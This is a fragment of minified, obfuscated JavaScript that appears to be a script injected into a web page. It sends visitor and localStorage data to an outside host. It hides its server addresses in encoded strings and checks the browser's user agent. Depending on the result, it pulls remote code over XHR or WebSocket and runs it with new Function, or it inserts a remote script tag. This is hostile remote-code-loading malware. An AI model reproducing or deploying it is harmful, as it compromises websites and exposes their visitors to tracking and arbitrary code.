n='https://qssc.fnelg.cn:7891/stats/9779/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ohdG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnB0bC55jbiUzQTg4OTE=','d3NzJTNBJTJGGJTJGGYS53aGGJnei5jbiUzQTk1MzU=','9781',window,document,['5','G']);}:function(){};